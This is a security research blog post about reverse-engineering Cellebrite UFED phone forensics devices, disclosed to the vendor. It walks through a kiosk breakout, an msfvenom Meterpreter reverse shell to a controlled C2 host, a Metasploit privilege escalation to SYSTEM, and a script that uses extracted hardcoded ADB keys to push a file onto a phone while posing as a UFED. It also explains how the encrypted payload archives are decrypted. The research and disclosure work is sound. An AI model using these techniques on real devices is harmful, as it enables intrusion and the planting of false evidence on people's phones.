Korelogic Blog Logo contact
Cellebrite Good Times, Come On: Reverse-Engineering Phone Forensics Tools 2020-06-29 17:18

How can vulnerabilities in technologies used by our judicial system affect the outcome of cases brought to the courts?

The Universal Forensic Extraction Device (UFED) device from Cellebrite is used by law enforcement agencies throughout the world. The popularity of their offerings has been well documented by journalists, which is what initially caught my attention. Today I will talk about the process I used to establish a debugging environment and locate issues in their UFED product, which I believe pose a significant concern. This concern demonstrates a need for additional scrutiny of any tool that is designed to acquire digital forensic evidence for use in any court of law. Along the way, we generated multiple advisories and CVEs, which the vendor has addressed, and a bonus "WONTFIX" in Android.

For example, using just one of the problems I found, an attacker would be able to impersonate a UFED device. Why is this bad? Simply put, the reports provided by UFED devices are court admissible and jurors place trust in these reports when deliberating about the evidence of an alleged crime. A rogue forensic examiner could misuse UFED tools to place false evidence on a suspect's device, which would then be trusted by the courts unless challenged by a defense versed in software/device forensics. Conversely a tech-savvy criminal could plant data on their device which made it appear to have been tampered with by law enforcement, even when no misuse had occurred. These possibilities concerned me and motivated my research.

When we test devices on behalf of a client, our process begins by target devices being provided to us directly, but that was not the case here; this was independent research. Over the course of several months, I acquired several Cellebrite UFED devices through eBay. Each purchase was a more recent version. Earlier versions of software are always less mature, and therefore provide for an easier learning curve while reverse engineering. The versions I was able to obtain ranged from 5.1 through 7.5.0.845. I expected all devices from eBay to have a expired license. This is important because another party will have agreed to any license conditions before my purchases and there are no future prompts to review and accept any terms or conditions. Cellebrite also makes a PC software version, UFED4PC.

Hacking the UFED

Although my lab environment is not internet connected, I still added a DNS block for the following domains I observed in code or log files and an IP block for the addresses which they resolve to:

1. *.cellebriteusa.com
2. *.cellebrite.com
3. *.mycellebrite.com
4. *.ume-update.com
5. *.cellebrite.org

When the UFED device is powered on, the user is automatically logged into Windows XP Embedded SP3 without any operating system authentication requirements. The forensic application is launched automatically using the path below:

C:\Program Files\Cellebrite Mobile Synchronization\UFEDTouch\Exodus.CellebriteTouch.exe

The default user is not privileged, and is restricted through local operating system and firewall policies. For example the user is not able to:

  • Access default system applications
  • Manage system configuration settings
  • Access process and file management settings

Even the task manager is disabled:

Since all of the UFED devices I obtained were running Windows XP, which is no longer supported, they were guaranteed to be exploitable.

I began by using msfvenom to create a simple Meterpreter payload that created a reverse TCP connection to a Command and Control (C2) system that we control. Then, I copied the executable to a USB drive and plugged it into the UFED device.

$ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
$ sudo mount -o rw /dev/sda1 a/
$ sudo cp payload.exe a/; sync
$ sudo umount a/

At that point, I was able to create a metasploit handler to accept connections and allow me to interact with the compromised UFED device.

$ msfconsole
[snip]
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     [REDACTED]       yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on [REDACTED]:8888

Because of the local policies that were implemented, I needed a way to trick the device into running our executable. This turned out to be possible using tricks I would typically use when attempting to escape from a Citrix Application. The steps taken were as follows:

  • Open the Wireless Network Connection screen by clicking on the WiFi icon in the bottom right hand corner of the screen. This should be next to the system clock.
  • Select "Change advanced settings" – this will bring up a screen called Windows Network Connection Properties. Choose the Wireless Networks tab.
  • Under the Preferred networks section, click the Add button and then select the Authentication tab. Make sure "Enable IEEE 802.1x authentication for this network" is enabled.
  • Under EAP Type, select "Smart Card or other Certificate" and then click the Properties button.
  • Under Trusted Root Certificate Authorities click the View Certificate button. This will bring up a screen called Certificate; choose the Details tab and click the "Copy to File" button. This will bring up a screen called Certificate Export Wizard.
  • Click Next and select any of the available export format options. For example, choose the "DER encoded binary X.509" option and click next.
  • Instead of typing out a export path click the Browser button to open a file dialog. In the "File Name" box type: \WINDOWS\System32\ and under "Save as type" select the "All Files (*.*)" option. Hit the enter key.
  • Locate the cmd.exe file then drag and drop any Dynamic-Link Library (DLL) over it. For example, choose the clusapi.dll file located near the cmd.exe executable. This will open a Command Prompt screen as an unprivileged user.
  • Type the drive letter to change into the USB drive containing the payload.exe file.
  • Execute payload.exe

Once the payload was running and a connection to my handler was established, I could then begin interacting with the UFED device.

[*] Sending stage (180291 bytes) to [REDACTED]
[*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: TOUCH-[REDACTED]\Operator

After some experimentation, I found that the UFED device is vulnerable to CVE-2015-1701, which can be used to elevate to SYSTEM as shown below.

msf5 exploit(windows/local/ms15_051_client_copy_image) > show options

Module options (exploit/windows/local/ms15_051_client_copy_image):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows x86

msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 8888
LPORT => 8888
msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST [REDACTED]
LHOST => [REDACTED]
msf5 exploit(windows/local/ms15_051_client_copy_image) > run

[*] Started reverse TCP handler on [REDACTED]:8888
[*] Launching notepad to host the exploit...
[+] Process 3936 launched.
[*] Reflectively injecting the exploit DLL into 3936...
[*] Injecting exploit into 3936...
[*] Exploit injected. Injecting payload into 3936...
[*] Payload injected. Executing exploit...
[*] Sending stage (180291 bytes) to [REDACTED]
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 3 opened ([REDACTED]:8888 -> [REDACTED]:1045) at 2020-01-29 11:48:15 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

The breakout and privilege-escalation issues were reported to the manufacturer, and ultimately they were disclosed in the KL-001-2020-002 advisory.

Debugging the UFED Application

From here I thought it was a good idea to create a separate administrative account and begin establishing my debugging environment.

The application is packed by Themida, and it is configured to automatically detect the use of debuggers. Before I could get very far, I had to figure out a way around the anti-debugger features of Themida.

Bypassing Themida's anti-debugger protection was accomplished using a XP-compatible version of OllyDbg and the following plugins:

  • StrongOD
  • Phant0m
  • OllyScript
  • TitanHide

StrongOD should be configured with the Anti-Anti-Attach option. Phant0m should be configured with the following options:

  • Hook Zw*
  • Protect DRx
  • Hide PEB

TitanHide is a kernel driver and user-land configuration application. The driver should be configured to load at boot time.

Now, it is possible to attach a debugger to the application. Below is an image of OllyDbg attached and sitting at a breakpoint of the sha256 function exported by the Common.dll library. You can see the cheap Motorola phone is at a bootloader screen and the phone is powered by a SMD rework station. This phone was used to support all of my reverse engineering efforts.

It is at this point that a snapshot of the environment should be taken, as insurance, so that there is a way to revert to the original state should anything go wrong. To do that, I disassembled the UFED device, removed the SanDisk, and used the binutils dd utility to create an image of the device.

The typical approach of offline disassembly and active process debugging was followed. Initial offline disassembly was unsuccessful due to packing measures taken by Themida. The objdump output shown here should give you an idea of what is going on:

$ objdump -x AndroidLib.dll

AndroidLib.dll:     file format pei-i386
AndroidLib.dll
architecture: i386, flags 0x0000012f:
HAS_RELOC, EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED
start address 0x1041b000
[snip]
[snip]
The .rsrc Resource Directory section:
000  Type Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1
010   Entry: ID: 0x000018, Value: 0x80000018
018    Name Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1
028     Entry: ID: 0x000002, Value: 0x80000030
030      Language Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1
040       Entry: ID: 0x000409, Value: 0x000048
048        Leaf: Addr: 0x419f18, Size: 0x00015a, Codepage: 1252
Corrupt .rsrc section detected!

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0               0002f200  10001000  10001000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, CODE, DATA
  1 .rsrc         000001b4  10093000  10093000  00030200  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .idata        00000200  10094000  10094000  00030400  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  3               00000200  10095000  10095000  00030600  2**2
                  CONTENTS, ALLOC, LOAD, CODE, DATA
  4 vuqscmsg      0014e200  102cc000  102cc000  00030800  2**2
                  CONTENTS, ALLOC, LOAD, CODE, DATA
  5 uhrvciik      00000200  1041b000  1041b000  0017ea00  2**2
                  CONTENTS, ALLOC, LOAD, CODE, DATA

Since defeating Themida is a battle of its own, I won't be discussing the methodology used to do it here. The tl;dr is that I read what others have done and applied it. Nothing more, nothing less.

Disassembling The Software

The UFED software is made up of several components.

  • An end user application
  • Modified fork of libusb-win32
  • ADB and Fastboot Clients
  • Bootloader exploits contained within DLLs
  • Proprietary bootloaders for supported devices contained within encrypted ZIP files
  • OS privilege escalation exploits contained within encrypted ZIP files
  • Extraction applications in IPA, APK, BAR, and COD files
  • Post exploitation tools designed to bypass authentication or defeat encryption

The Android Debug Bridge (ADB) client is packaged as a DLL. Using OllyDbg and supporting script code, I was able to dump the real code from a running UFED process and then load that into the Ghidra disassembler.

Why did I decide to start with the ADB client? When I first ordered several UFED devices from eBay, I also ordered a lot containing approximately forty Motorola devices that ranged in age and were all running the Android OS. Each phone that I extracted presented the same MD5 fingerprint. That indicated to me that the UFED was using the same keypair for every ADB connection. Whats more, since I now owned several UFED devices I was able to confirm that the same fingerprint was being displayed when extracting regardless of which UFED I used. That indicated to me that they are using the same keypair for every UFED device. As it turns out, the authentication keys were hardcoded into a DLL used by the end user application.

0x6c598  952  ?PrivateKey1@ADBAuth@@0QBEB
Ordinal_952                                     XREF[2]:     Entry Point(*), 100867b4(*)
?PrivateKey1@ADBAuth@@0QBEB
1006c598 07              ??         07h
1006c599 02              ??         02h
1006c59a 00              ??         00h
1006c59b 00              ??         00h
1006c59c 00              ??         00h
1006c59d a4              ??         A4h
1006c59e 00              ??         00h
1006c59f 00              ??         00h
1006c5a0 52              ??         52h    R
1006c5a1 53              ??         53h    S
1006c5a2 41              ??         41h    A
1006c5a3 32              ??         32h    2
...


0x6ca30  953  ?PrivateKey2@ADBAuth@@0QBEB
Ordinal_953                                     XREF[2]:     Entry Point(*), 100867b8(*)
?PrivateKey2@ADBAuth@@0QBEB
1006ca30 07              ??         07h
1006ca31 02              ??         02h
1006ca32 00              ??         00h
1006ca33 00              ??         00h
1006ca34 00              ??         00h
1006ca35 a4              ??         A4h
1006ca36 00              ??         00h
1006ca37 00              ??         00h
1006ca38 52              ??         52h    R
1006ca39 53              ??         53h    S
1006ca3a 41              ??         41h    A
1006ca3b 32              ??         32h    2
...


0x6cec8  954  ?PrivateKey3@ADBAuth@@0QBEB
Ordinal_954                                     XREF[2]:     Entry Point(*), 100867bc(*)
?PrivateKey3@ADBAuth@@0QBEB
1006cec8 07              ??         07h
1006cec9 02              ??         02h
1006ceca 00              ??         00h
1006cecb 00              ??         00h
1006cecc 00              ??         00h
1006cecd a4              ??         A4h
1006cece 00              ??         00h
1006cecf 00              ??         00h
1006ced0 52              ??         52h    R
1006ced1 53              ??         53h    S
1006ced2 41              ??         41h    A
1006ced3 32              ??         32h    2
...

The keys stored inside of AndroidLib.dll are using the MS PRIVATEKEYBLOB format. This means that they can be converted into the standard Privacy Enhanced Mail (PEM) format using standard OpenSSL utilities.

$ ls -la
total 36
drwxr-xr-x 1 redacted redacted  346 Oct 19 07:04 .
drwxr-xr-x 1 redacted redacted 2842 Oct 13 09:32 ..
-rw------- 1 redacted redacted 1671 Sep 10 06:56 cellebrite_adb_key1
-rw-r--r-- 1 redacted redacted  717 Sep 10 06:56 cellebrite_adb_key1.pub
-rw------- 1 redacted redacted 1679 Sep 10 06:55 cellebrite_adb_key2
-rw-r--r-- 1 redacted redacted  717 Sep 10 06:56 cellebrite_adb_key2.pub
-r--r--r-- 1 redacted redacted 1736 Oct 13 09:26 cellebrite_adb_key3
-r--r--r-- 1 redacted redacted  717 Oct 13 09:26 cellebrite_adb_key3.pub
-rw------- 1 redacted redacted 1679 Oct 18 15:44 cellebrite_adb_key4
-rw-r--r-- 1 redacted redacted  451 Oct 18 15:46 cellebrite_adb_key4.pub

A good eye will have caught that I only referenced three private keys in the DLL and the directory listing output above shows four. There is a fourth key hidden inside of a encrypted ZIP file. I will discuss that file format and how to break the associated encryption later in this post, but first, let's look at a snippet of output produced by a custom application I wrote to decrypt EPR files.

$ ./decrypt-epr --file input/EPRs/731/Android.zip.epr
[+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
[+] done.
$ unzip Android.zip.epr.zip
  Archive:  Android.zip.epr.zip
    inflating: c2a_disable_selinux_32.ko
    inflating: c2a_disable_selinux_64.ko
    inflating: com.mr.meeseeks.apk
    inflating: daemonize
    inflating: dirtycow
    inflating: dirtycow_32
    ...
    ...

Now, about the hardcoded RSA private keys in the AndroidLib.dll file. These keys are available for use by the application during authentication to the ADB daemon running on a target mobile device. They are leveraged during any extraction method that requires the use of ADB. Further, any time an extraction method requiring ADB is used, the UFED device instructs the user to permanently accept the associated RSA key. I would like to pause for moment and say something about hardcoded keys.

Hardcoded software keys of any type are ultimately recoverable. You can add any number of protective layers you want; you can attempt to encrypt or obfuscate the key; you can use every trick in the book. Unfortunately, these efforts generally fall far short of their objective. If the key must be accessible without human intervention, it is likely to be recoverable as well. When hardcoded keys are used for authentication, as is the case here, it poses another problem: a loss of reliable attribution. The keys used in any authentication context are supposed to be unique and exclusively controlled by their legitimate owner, which in this case is the UFED device. Failing to protect authentication keys implies that anyone with the right mix of knowledge, access, and tools can take over your identity and appear legitimate.

Let's take a look at an example of how this can go wrong. First, let's examine the public keys.

  • QAAAANXZ0PeDaBpYMM/Wi4GQo/hZ9WooUYwFbp55Ce/9oWbse0sG3R9LaAv+78MZF0KuWty8h... unknown@unknown
  • QAAAAAE5nlT/OO1UtGpoZFGmwA0jP+1pO7QNDzaRlEIyObUz7ziSZnWhvpKYyxAGDNKMNcFx2... unknown@unknown
  • QAAAAEdvwzGJdQJiFMyhWbG/B83GfOJpouYZbWoHvpklhxa0vZGiqSBO2NFglV7YQiae8uPfK... unknown@unknown
  • AAAAB3NzaC1yc2EAAAADAQABAAABAQC62sBv3sK02eb5ZJnNGT5JqU/aWEYdvvlVMJ8xjcRac... unknown@unknown

The script below will run some code to confirm the validity of the private key for a given public key. Then, it will copy the keypair into the ~/.android/adbkey and ~/.android/adbkey.pub files. From here, the extracted keys are then used to authenticate to a target device and place a sample "illegal" file onto it.

#!/bin/sh
CONTENT="korelogic"
FINGERPRINT=`awk '{print $1}' < android/cellebrite_adb_key1.pub | openssl base64 -A -d -a | openssl md5 | cut -d " " -f2-`
echo "[+] Key Fingerprint:" $FINGERPRINT
echo "[+] Creating a sample.out file with the content:" $CONTENT
echo $CONTENT > sample.out
echo "[+] Creating a SHA1 hash with: openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out"
openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out
echo "[+] Validating the integrity using: openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out"
openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out
echo "[+] Cleaning up the sample and SHA1 hash"
rm -rf sample.out sample.out.sha1
echo "[+] Copying private key to ~/.android/adbkey"
cp ~/.android/adbkey ~/.android/adbkey.orig
cp ~/.android/adbkey.pub ~/.android/adbkey.pub.orig
rm -rf ~/.android/adbkey ~/.android/adbkey.pub
echo "[+] Updating the key header"
sed -e 's/RSA //g' android/cellebrite_adb_key1 > ~/.android/adbkey
cp android/cellebrite_adb_key1.pub ~/.android/adbkey.pub
echo "[+] Done. Creating example 'illegal' file on target device"
echo "illegal content" > illegal_file
adb push illegal_file /data/local/tmp/illegal_file
rm -rf illegal_file
echo "[+] Removing the private key from ~/.android/adbkey"
rm -rf ~/.android/adbkey ~/.android/adbkey.pub
mv ~/.android/adbkey.orig ~/.android/adbkey
mv ~/.android/adbkey.pub.orig ~/.android/adbkey.pub
echo "[+] Done"

This simple script produces the following output:

[+] Key Fingerprint: af0fe499ad5b77e00c660f37de1dce3a
[+] Creating a sample.out file with the content: korelogic
[+] Creating a SHA1 hash with: openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out
[+] Validating the integrity using: openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out
Verified OK
[+] Cleaning up the sample and SHA1 hash
[+] Copying private key to ~/.android/adbkey
[+] Updating the key header
[+] Done. Creating example 'illegal' file on target device
illegal: 1 file pushed. 0.0 MB/s (16 bytes in 0.049s)
[+] Removing the private key from ~/.android/adbkey
[+] Done

The point I want to make here is that as a result of product design, I am able to impersonate the identity of every UFED device such that any connection I make to a target device appears as if it is done from the UFED device, and not my own machine. Since there is no guarantee that system logs will distinguish between say, connecting to upload a file or to run a forensic analysis on the target device, there is no real method to track what purpose any connection was for. This has the potential to provide plausible deniability for when malicious changes are made.

Now this is just an example and a real world exploitation of this would require root privilege and stomping on file metadata. I want to stress, though, that this is absolutely possible. Although it is true that the UFED device provides no way for the user to directly interact with a target device manually, all of the tools and exploits needed to do so are encrypted (and recoverable) alongside the DLL we've been discussing. Further, the reality is this: if you can get this far on your own, there is a good chance you'll get access to those things as well. At least, I did.

After internal discussion and at the later received request of Cellebrite, we have chosen not to publish the private keys which correspond to the public keys shown above. These key have been retired and a fix for this issue has been distributed.

ADB Key Verification

Somewhere around here we found a weakness in ADB's key verification handshake process, quite by accident.

We wanted to be able to test any given phone to see if the UFED's static public key had been accepted and if it had ever been "acquired" by the UFED software. This might occur if, for instance, a bad actor armed with a UFED device used it to harvest a journalist's phone, or misused it to root a dissident's phone and plant evidence while following the UFED's normal operating procedure of accepting the RSA key when prompted on the phone.

If you hold the private key, you can indeed easily check if the phone's ADB listener trusts that key – just try to authenticate with it and see if you can establish a connection without being prompted.

But along the way, we found something we did not expect. After the client has tried to perform a challenge-response with every private key it possesses to see if the phone will accept any of them, it can propose a new public key. The user will see a popup with the new public key's fingerprint; if approved, the connection is established and that key is remembered as having been approved.

Did you miss it? ...the connection is established... without actually requiring that the client prove that it holds the private key by signing a message with it. The ADB server also does not reject a new-key proposal for a key that it already holds – meaning that a client that already failed to prove that it has the private key for 'de:ad:c0:de', to a phone that already trusts 'de:ad:c0:de', can nevertheless ask for key 'de:ad:c0:de' to be allowed and added.

In some ways, this is no big deal: the user has physically tapped 'OK' on their phone, so the client isn't being allowed in with no checking whatsoever.

However, this means that a client can claim to possess any given key without having to prove it. If users are conditioned to accept a particular key fingerprint, they would be expected to approve the connection request. Consider, for instance, a hypothetical Mobile Device Management (MDM) solution within an enterprise where users are told to accept a "known" key (with fingerprint 'de:ad:c0:de'). An attacker pretending to hold this key would be trusted by users who blindly follow those instructions without the phone ever verifying that the attacker really holds corresponding private key.

A corollary to this might be an SSH client which, upon connecting to an unknown SSH server and prompting the user to accept that server's SSH host key fingerprint, did not actually then challenge the server to complete a challenge using the corresponding private key. This would be pretty easily understood as a flaw.

The solution seems pretty simple conceptually: ADB should not accept a new public key without requiring the client to pass a new challenge-response. When we reported this to the Android Security Team, they closed it as "Won't Fix", although the issue is still non-public in their bug-tracker.

UFED Features

Let's take a look at the available types of extraction so we can better understand how and where the UFED uses different key material.

Using this method of extraction, the UFED device will authenticate to the ADB daemon on the target device and subsequently install an Android Application Package (APK), which is designed to facilitate evidence collection. One of the available evidence collection applications is Android2.1v1.7.3.apk. This application has a self-signed certificate with the following metadata:

Valid from: Mon Jun 27 15:39:03 PDT 2011
Valid until: Fri Jun 20 15:39:03 PDT 2036
SHA-256 Fingerprint: 93 02 8A D4 12 CF C3 A7 92 61 45 96 D5 DB 15 54 70 84 0B B5 61 4E B4 16 D9 E3 26 5B 95 9F C9 5C

Another application, CelleWise_Covert_v4.0.0.18.apk, is self-signed as well. It has the following metadata:

Valid from: Mon Jul 15 05:52:42 PDT 2013
Valid until: Fri Jul 09 05:52:42 PDT 2038
SHA-256 Fingerprint: 49 B7 36 8B D2 8C 93 6A C8 24 BF 60 40 10 1F 57 F2 C4 2C E4 E9 E1 68 77 DA B2 F4 49 22 68 32 13

An encrypted ZIP file (Android.zip.epr) containing local privilege escalation exploits is relied on to obtain root privilege prior to performing the extraction. The directory /data/local/tmp is used as a temporary location to write exploits to disk. If root cannot be obtained, the extraction is not performed, and the user will receive a message in the UFED device UI indicating the security patch level of the target device is too recent:



Disable User Lock

This option will allow the user of the UFED device to either temporarily disable the user lock, or remove it entirely. Publicly, Cellebrite refers to this functionality as LockPick. Internally however, it is called Alohomora, a reference to a magical spell, which is used to open physical locks from the J.K. Rowling series Harry Potter.

File System Extraction

Extractions performed via file system also leverage the ADB daemon on the target mobile device. This extraction method can rely on a set of Cellebrite binaries called nandreadPie and/or nandreadStatic. These binaries copy the entire content of the target disk.

This extraction type also offers other methods that parse Android Backups collected from target devices or can (where possible) downgrade existing applications on the target mobile device so as to allow collection of otherwise unavailable data. A lock bypassing technique is also available from this type of extraction that is able to collect some of the file system available.

Physical Extraction

Physical extractions can either be triggered via ADB or boot loader exploits. Although the boot loaders used by the UFED device are proprietary, the methods used to initialize and run them are, as far as I can tell, based on publicly available research. For example, exploitation techniques for Samsung's SBOOT and eMMC are heavily relied upon. Further details can be found in the links at the end of this post.

Password Brute-Forcing

You may have asked yourself, what is knockoutNG? This post-exploitation toolkit can defeat authentication on supported devices by leveraging libkeymaster to execute a dictionary-based brute force, which is not subject to attempt restrictions. The target device is exploited so as to allow the UFED to take control of the bootloader and boot into a malicious operating system where the brute forcing tools are then used. As a side note, the while loop used in this process has a call to fgets which limits the size of every attempted password to 32 bytes (i.e., 0x20):

...
  if ((dictName != (char *)0x0) && (dictObj = fopen(dictName,"r"), dictObj != (FILE *)0x0))
  {
    ...
    while (i = fgets(pwBuffer,0x20,dictObj), i != (char *)0x0) {
      ...
      pwLen = (ulonglong)strlen(pwBuffer);
      (*packing_init)(pwCheckBuf,wsmBufferForInData,0xa000,0);
      (*encrypt_key_packing)(&local_80,&local_70,&local_a0,&local_90,&local_b0,&local_c0,&local_d0,&local_24c,pwCheckBuf);
      (*KM_TZRunCommand)(0x100,0xa000,0,0,&pw_valid);
      if (pw_valid == 0) {
        printf("---[ The password is %s]---\n",pwBuffer);
        break;
      }
      ...
    }
    ...
  }
...

Extracting Encrypted Payloads

Do you remember that fourth RSA key I mentioned earlier? Lets take a few minutes to focus on that key specifically. The key can be found inside of the knockoutNG.epr file. The EPR file format is more-or-less an AES-256-CBC encrypted ZIP archive. In the earlier versions of the file format, the key to decrypt the ZIP archives was hardcoded into the decryption code. That key, known publicly already, can be found below:

sha256("Cellebrite EPR file version 1 AES key").hexdigest()

Sometime after UFED v5.4, a new version of the EPR file format was introduced. This newer format relies on a key enveloping technique where only the initial key material is hardcoded into the decryption code. A small header is decrypted with the initial key. This set of decrypted bytes contains a 16-byte Intialization Vector (IV) and two 4-byte values that when XOR'd together will produce the final 4-byte (or DWORD) value of a SHA256 digest.

Separately, an array of SHA256 digest values is generated for 254 (yes, 254) bytes, which are split up and iterated over using 64 bytes at a time. The calculated DWORD is compared against the final DWORD of each SHA256, and when a match is found, the bytes used to calculate the corresponding SHA256 digest are used as the next key. A total of eight intermediate keys exist.

The second AES key and IV are then used to decrypt a second set of encrypted bytes, which were decrypted during the first operation. The final AES key and IV are then recovered and can be used to decrypt the remaining bytes in blocks of 0x10000.

$ ls -la knockoutNG.epr
-rwxr-xr-x 1 level level 7146469 May 28 07:26 knockoutNG.epr
$ ./decrypt-epr --verbose --file knockoutNG.epr
2020-06-17 08:07:29,643 [INFO] [+] The EPR file specified exists.
2020-06-17 08:07:29,645 [INFO] [+] The specified EPR file has been read into memory.
2020-06-17 08:07:29,645 [INFO] [+] Using the version 3 decryption process.
2020-06-17 08:07:29,648 [INFO] [-] Decrypter setup with key 1 for version 3
2020-06-17 08:07:29,663 [INFO] [+] Round one of the EPR decryption completed successfully.
2020-06-17 08:07:29,663 [INFO] [-] Calculated that the flag will be: [REDACTED]
2020-06-17 08:07:29,663 [INFO] [+] The SHA256 key flag has been calculated.
2020-06-17 08:07:29,663 [INFO] [-] Found the flag: [REDACTED]
2020-06-17 08:07:29,663 [INFO] [+] The SHA256 key flag has been found.
2020-06-17 08:07:29,663 [INFO] [-] Decrypter setup with key 2 for version 3
2020-06-17 08:07:29,663 [INFO] [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
2020-06-17 08:07:29,663 [INFO] [-] AES Key: [REDACTED], IV: [REDACTED]
2020-06-17 08:07:29,663 [INFO] [-] Decrypter setup with key 3 for version 3
2020-06-17 08:07:29,719 [INFO] [-] Finished decrypting all blocks.
2020-06-17 08:07:29,720 [INFO] [-] Writing bytes to: knockoutNG.epr.broken
2020-06-17 08:07:29,722 [INFO] [-] Wrote 7146320 bytes to a broken file.
2020-06-17 08:07:29,722 [INFO] [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
2020-06-17 08:07:29,722 [INFO] [-] Running: zip -FF knockoutNG.epr.broken --out knockoutNG.epr.zip > /dev/null 2>&1
2020-06-17 08:07:29,732 [INFO] [+] done
$ unzip knockoutNG.epr.zip
Archive:  knockoutNG.epr.zip
  inflating: dist/bz2.pyd
  inflating: dist/knockout.exe
...
  inflating: dist/handlers/files/adbd_32
  inflating: dist/handlers/files/adbkey
  inflating: dist/handlers/files/adbkey.pub
  inflating: dist/handlers/files/adb_proxy
...

The extraction of the hardcoded key material was also disclosed to Cellebrite. Our suggested remedy was to either require the use of a hardware root-of-trust for storing the EPR encryption keys, or rely on installation-unique RSA keys where Cellebrite has a copy of the public key for every installation, thus eliminating the usage of one set of keys worldwide. Ultimately, Cellebrite has decided not to pursue either of those options. According to Cellebrite, the initial AES key and IV have been rotated, and the algorithm has been updated in a way which breaks our decrypter. However, I want to point out that as long as Cellebrite relies on a software-only decryption method that has no requirement for human involvement (e.g., unlocking a encryption key with a unique passphrase), they will likely remain vulnerable.

Closing Thoughts

During a call with Cellebrite, we discussed the use of hardcoded ADB key material. They disagreed with the risk case presented and highlighted the fact that chain of custody is used to control evidence. Unfortunately, that position leaves no room for the possibility that the chain of custody, itself, is (or could be) compromised. That being said, Cellebrite did release a patch to address the issue even though they disagreed. To me, that was a sign of good faith, and Cellebrite deserves kudos for taking that course of action.

However, as a citizen, I also believe the way that any process is implemented to acquire forensic evidence should be publicly known and freely available for scrutiny. In the United States, the accused have a Sixth Amendment right to confront their accusers; that should extend to information about the way data are gathered for use in criminal investigations. The core issue is that every citizen should have the right to cross-examine the evidence acquired, the origin of the process used to acquire it, the acquisition process itself, how acquired data were processed or analyzed, and how any conclusions were drawn from those efforts.

It is my opinion that our community should be advocating for transparency, open source solutions, and legislative policies designed to strike an appropriate balance between human rights and the needs of law enforcement, while also respecting national security. Basically, any government agency not part of the military acting in defense of the nation should be required to disclose vulnerabilities identified or used in criminal investigations using industry-recognized procedures and channels.

At the end of the day, these vulnerabilities concern me not because I think they are likely being actively exploited by bad actors, but simply because they ought not to be possible at all.

Below are some links to third-party content you may enjoy.

I would like to extend a personal thank you to (in alphabetic order) the team at Cellebrite and my colleagues at KoreLogic, Derek Brown, Hank Leininger, Josh Hardin, and Klayton Monroe.

This research was conducted in accordance with the KoreLogic Employee Ethics Guidelines and was disclosed by the KoreLogic Vulnerability Disclosure Program.


0 comments Posted by Matt Bergin at: 17:18 permalink

Name:
URL (optional):
Comments:


Please contact us if you would like more information about our services, tools, or careers with us.
Privacy Policy : Copyright 2016. KoreLogic Security. All rights reserved